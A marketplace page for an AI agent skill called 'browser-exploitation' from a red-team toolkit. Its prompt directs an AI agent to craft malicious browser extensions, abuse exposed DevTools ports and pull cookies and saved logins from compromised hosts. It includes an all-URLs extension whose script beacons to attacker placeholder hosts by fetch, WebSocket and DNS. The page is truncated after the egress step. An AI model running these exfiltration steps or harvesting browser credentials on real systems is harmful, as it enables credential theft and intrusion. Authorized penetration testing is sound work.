Skip to content
Security
Skill

/browser-exploitation

Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.

From plugin
red-run
25379 skills12 agents7 MCP
Install
$ npx -y skills add blacklanternsecurity/red-run --skill browser-exploitation --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/browser-exploitation

Context preview

The summary Claude sees to decide when to auto-load this skill.

Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.

SKILL.md

browser-exploitation.SKILL.md
name: browser-exploitation
description: >
  Exploit browser-based attack surfaces: malicious extension crafting for bot
  interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports,
  and browser profile/cache data extraction from compromised hosts.
keywords:
  - chrome extension
  - firefox extension
  - manifest v3
  - manifest v2
  - content_script
  - service_worker
  - background script
  - devtools protocol
  - CDP
  - remote debugging
  - port 9222
  - browser cache
  - browser profile
  - cookies sqlite
  - login data
  - headless chrome
  - puppeteer
  - selenium
  - playwright
tools:
  - curl
  - chrome
  - chromium
opsec: medium

Browser Exploitation

You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print `[browser-exploitation] Activated → <target>` to the screen on activation.
  • **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `extension-exfil-cookies.txt`, `cdp-file-read.txt`).

Scope Boundary

This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.

Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:

  • What was found (vulns, credentials, access gained)
  • Context to pass (injection point, target, working payloads, etc.)

The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.

**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

State Writes

Write actionable findings **immediately** via state so the orchestrator can react in real time:

  • `add_credential()` — cookies, tokens, saved passwords extracted
  • `add_vuln()` — confirmed CDP access, extension RCE, profile extraction
  • `add_pivot()` — internal services discovered via extension or CDP
  • `add_blocked()` — techniques attempted and failed

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Tool Requirements (Local-Only)

**NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.

Prerequisites

Prerequisites vary by attack area:

  • **Section A (Extensions)**: Extension upload endpoint or bot that loads

attacker-supplied extensions. Knowledge of manifest version (V2 or V3).

  • **Section B (CDP)**: Exposed Chrome DevTools or Node.js inspector port

(9222, 9229, or similar).

  • **Section C (Profile Extraction)**: Shell access on a host with a browser

installed (Chrome, Chromium, Firefox).

Step 1: Assess

Determine which attack vector applies:

1. **Extension upload endpoint found** (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A) 2. **Exposed debug port** (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B) 3. **Shell access with browser installed** (post-exploit credential harvesting) → proceed to Step 4 (Section C)

If the orchestrator provided context specifying which section, skip directly to it.

---

Step 2: Malicious Extension Crafting (Section A)

2a: Egress Check

**Before crafting exploit extensions**, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.

Create a test extension that tries multiple egress methods:

**Manifest V3 egress test:**

{
  "manifest_version": 3,
  "name": "Egress Test",
  "version": "1.0",
  "permissions": ["activeTab"],
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["test.js"]
  }]
}

**test.js:**

// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
  .catch(()=>{});

// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';

// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}

Start an HTTP listener on your attackbox (`python3 -m http.server PORT`) and check which callbacks arrive. Use the first method that works.

**Egress priority:** 1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads 2. DNS exfil via subdomain lookups — works when HTTP is blocked 3. WebSocket to attacker — persistent connection for streaming data 4. `navigator.sendBeacon()` — fire-and-forget, limited payload size

2b: Manifest V3 Extension Template

Modern Chrome uses Manifest V3. Content scripts run in page context; service workers

Read more
Ships withred-run

Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,

Get the whole plugin

Other skills on red-run.